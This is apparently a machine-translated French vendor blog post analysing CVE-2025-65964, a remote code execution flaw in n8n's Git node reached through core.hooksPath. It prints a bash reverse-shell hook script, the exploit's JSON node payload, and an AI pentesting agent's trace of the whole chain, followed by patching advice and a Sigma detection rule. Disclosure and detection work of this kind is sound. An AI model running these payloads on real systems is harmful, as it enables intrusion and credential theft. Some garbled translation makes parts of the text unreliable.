En-tête négligent

CVE-2025-65964 : Utilisation de Git Hooks dans n8n pour des RCE critiques dans l'infrastructure d'IA

Dans le paysage en évolution rapide de la sécurité de l'IA, l'industrie se concentre souvent sur les attaques contre les grands modèles de langage (comme l'injection de messages), tout en négligeant le "squelette" en ruine qui maintient ces agents ensemble - la couche d'orchestration.

Le 8 décembre 2025, la communauté de la sécurité a divulgué CVE-2025-65964Une vulnérabilité critique d'exécution de code à distance (RCE) dans le logiciel n8nl'outil d'automatisation de flux de travail open-source le plus populaire au monde. Avec un score CVSS v4 de 9,4 (critique)Cette faille n'est pas un simple bogue web. Il s'agit d'un abus sophistiqué de la logique de configuration sous-jacente de Git, qui utilise des opérations légitimes de contrôle de version pour compromettre le système nerveux central des piles d'IA modernes.

Cet article va au-delà de l'avis générique. Du point de vue de l'équipe rouge, nous allons disséquer l'intégralité de l'avis. Chaîne d'exploitationIl s'agit d'une "attaque de la chaîne d'approvisionnement agentique" par excellence.

Le contexte : Quand Git devient le vecteur

n8n est devenu une pierre angulaire des applications modernes d'IA, largement utilisé pour coller les LLM (comme GPT-5), les bases de données vectorielles (comme Pinecone) et les API internes. Pour prendre en charge le CI/CD et le contrôle des versions pour les flux de travail, n8n est livré avec un puissant outil intégré de gestion des versions. Git Node.

Le cœur de la CVE-2025-65964 réside dans l'incapacité du nœud Git n8n à assainir les clés de configuration lors de l'exécution de la commande addConfig de l'opération. Les attaquants tirent parti de cette omission pour passer outre la fonction core.hooksPath ce qui a pour effet de détourner le flux d'exécution du binaire Git.

CVE-2025-65964 : Utilisation de Git Hooks dans n8n pour des RCE critiques dans l'infrastructure d'IA

Comprendre core.hooksPath

Dans une architecture Git standard, les hooks (scripts exécutés sur des événements tels que s'engager, caisse, fusionner) sont stockés dans le répertoire .git/hooks (répertoire). Pour des raisons de sécurité, Git ne réplique pas ces crochets lors du clonage d'un dépôt.

Cependant, Git 2.9 a introduit l'option de configuration core.hooksPath, qui permet aux utilisateurs de définir un chemin personnalisé pour les hooks n'importe où dans le système de fichiers.

Si un attaquant peut contrôler cette clé de configuration et la diriger vers un répertoire auquel il a accès en écriture (par exemple, /tmp/ ou un répertoire de téléchargement de fichiers), la prochaine fois que n8n effectue une opération Git, Git sort de son bac à sable et exécute le script de l'attaquant.

La chaîne des exploits : Un cours de maître sur les bogues logiques

Pour réussir, il faut plus qu'une simple charge utile : il faut une "orchestration logique". Vous trouverez ci-dessous la reproduction étape par étape de l'attaque menée par notre laboratoire de recherche.

Phase 1 : Reconnaissance et accès

L'attaquant commence par accéder à l'éditeur de flux de travail n8n. Dans de nombreux intranets d'entreprise, n8n est déployé par des ingénieurs en IA et des scientifiques des données, qui ne disposent souvent pas d'une authentification stricte ou qui se cachent derrière des informations d'identification par défaut faibles.

Confirmation de la cible : 0.123.1 <= n8n Version < 1.119.2.

Phase 2 : Mise en place de la charge utile

Depuis core.hooksPath pointe vers un répertoire, l'attaquant doit d'abord planter un script exécutable avec un nom de crochet Git spécifique (par exemple, post-contrôle) dans un emplacement accessible en écriture.

Utilisation de n8n "Ecriture d'un fichier binaire (ou un nœud "Execute Command" s'il n'est pas renforcé), l'attaquant dépose un script malveillant.

Exemple de script malveillant (/tmp/pwn/post-checkout):

Le cambriolage

`#!/bin/bash

Une charge utile de type "reverse shell

Exécuté silencieusement après une opération d'extraction Git

/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1`

Phase 3 : Injection de la configuration

C'est le point de déclenchement. L'attaquant crée un Git Node et sélectionne l'opération "Add Config". Normalement, les utilisateurs configurent nom.de l'utilisateur ou utilisateur.email. Cependant, en manipulant directement les paramètres JSON, l'attaquant injecte la clé dangereuse.

La charge utile JSON de l'exploit :

JSON

{"parameters" : { "operation" : "addConfig", "configName" : "core.hooksPath", "configValue" : "/tmp/pwn", "repositoryPath" : "/home/node/.n8n/git/workflow_repo" }, "name" : "Weaponized_Git_Config", "type" : "n8n-nodes-base.git", "typeVersion" : 1, "position" : [460, 300] }

Lorsque ce nœud s'exécute, le processus n8n sous-jacent s'exécute :

git config -file /home/node/.n8n/git/workflow_repo/.git/config core.hooksPath /tmp/pwn

Phase 4 : Le déclencheur

Une fois la configuration établie, elle est persistante. L'attaquant ajoute simplement un autre nœud Git au flux de travail pour effectuer une opération bénigne, telle que git checkout master ou git status.

Séquence : Git Process Starts -> Reads core.hooksPath -> Loads /tmp/pwn/post-checkout -> RCE Executed.

CVE-2025-65964 : Utilisation de Git Hooks dans n8n pour des RCE critiques dans l'infrastructure d'IA

Pourquoi c'est un cauchemar pour l'infrastructure de l'IA

Pour les ingénieurs en sécurité, la compréhension de la impact est plus important que le bogue lui-même. À l'ère de l'IA, un serveur n8n n'est pas seulement un service web, c'est un service d'intelligence artificielle. Chambre forte.

  1. Dumping d'informations d'identification : La base de données n8n contient des clés API chiffrées pour OpenAI, AWS Bedrock, Snowflake et Slack. Avec un accès shell, un attaquant peut décrypter ces identifiants (souvent trouvés dans ~/.n8n/database.sqlite), conduisant à une compromission totale de l'environnement cloud de l'entreprise.
  2. Empoisonnement par RAG : Les attaquants peuvent détourner les flux de travail qui écrivent dans les bases de données vectorielles. En injectant des bribes de connaissances malveillantes, ils peuvent manipuler les résultats des systèmes RAG internes de l'entreprise, facilitant ainsi l'ingénierie sociale ou les campagnes de désinformation.
  3. Risques d'évasion du conteneur : De nombreux déploiements n8n s'exécutent avec des privilèges élevés (ou -privileged) pour permettre aux bibliothèques Python comme LangChain d'interagir avec le système. Dans de tels cas, le RCE à l'intérieur du conteneur est fonctionnellement équivalent à Root sur l'hôte.

L'étude de cas Penligent : Agent contre agent

Au Penligent.aiNous classons ce problème dans la catégorie des "failles logiques". Les scanners DAST traditionnels ne parviennent pas à détecter CVE-2025-65964 pour les raisons suivantes :

  • Les scanners ne savent pas comment "construire un flux de travail".
  • Les scanners ne peuvent pas comprendre la logique temporelle de "écrire le fichier d'abord, configurer Git ensuite".

Les agents de test de pénétration automatisés de Penligent démontrent cependant des capacités de raisonnement qui imitent les attaquants humains avancés.

[Trace interne de l'agent pénitent - 2025-12-09 14:02:33]

Observation : Port cible 5678 ouvert. Identifié comme n8n. Le contournement des informations d'identification faibles a réussi.

Raisonnement : La capacité du nœud Git a été détectée. La base de connaissances indique un risque d'injection de Git Config. L'exécution directe de la commande est bloquée. Puis-je obtenir l'exécution via la manipulation de l'environnement ou de la configuration ?

Plan d'action :

  1. Tentative Exécuter la commande pour vérifier la sortie (Échec, nœud désactivé).
  2. Stratégie de pivot : Recherche de primitives d'écriture de fichiers. Écriture d'un fichier binaire est disponible.
  3. Construction d'une chaîne d'exploitation : Ecrire un reverse shell dans /tmp/.git-hooks -> Injecter core.hooksPath via Git Node -> Déclencher Git Log.Execution : Exécution du workflow ID pwn_test_01.Resultat : Reverse shell callback reçu. Vulnérabilité vérifiée.

C'est la proposition de valeur fondamentale de Penligent: Utiliser l'IA pour lutter contre l'IA. Nos agents ne se contentent pas de faire correspondre des empreintes digitales ; ils comprennent la logique de l'entreprise et simulent le savoir-faire d'adversaires de haut niveau dans un bac à sable sécurisé.

n8n
CVE-2025-65964 PoC

Défense et détection

Remédiation

  • Patch immédiat : Mettre à jour le n8n vers la version 1.119.2 ou plus récent. La nouvelle version met en œuvre une liste d'autorisation stricte pour les addConfig clés.
  • Durcissement : Utiliser le N8N_NODES_EXCLUDE=["n8n-nodes-base.git"] dans votre configuration Docker pour désactiver complètement le nœud Git s'il n'est pas critique.

Chasse aux menaces

Si vous soupçonnez une violation, vérifiez le .git/config sur vos serveurs n8n.

Exemple de règle de détection Sigma :

YAML

title : Suspicious Git Config Modification via n8n status : experimental logsource : category : process_creation product : linux detection : selection : ParentImage|endswith : '/node' Image|endswith : '/git' CommandLine|contains : - 'config' - 'core.hooksPath' condition : selection level : high

Toute commande Git générée par un processus Node.js tentant de modifier le contenu d'un fichier core.hooksPath doit être traité comme un indicateur de compromis (IoC) de haute fidélité.

Conclusion

CVE-2025-65964 prouve une fois de plus que les frontières traditionnelles s'estompent à mesure que le développement de logiciels s'oriente vers des architectures "Agent Native". La flexibilité de nos outils est souvent le plus grand ennemi de la sécurité.

Pour l'ingénieur en sécurité pur et dur, le champ de bataille s'est déplacé du front-end Web au back-end d'orchestration. Ne vous contentez pas d'observer les requêtes HTTP ; observez les flux de travail qui s'exécutent silencieusement en arrière-plan. Observez les opérations Git automatisées. C'est la ligne de front de 2025.

Si votre équipe ne dispose pas de la main-d'œuvre nécessaire pour vérifier manuellement des risques logiques aussi complexes, il est peut-être temps de faire appel aux services de Penligent-L'équipe rouge numérique intelligente qui tient la corde à l'ère de l'IA.

Liens internes / Références :

Partager l'article :
Articles connexes
fr_FRFrench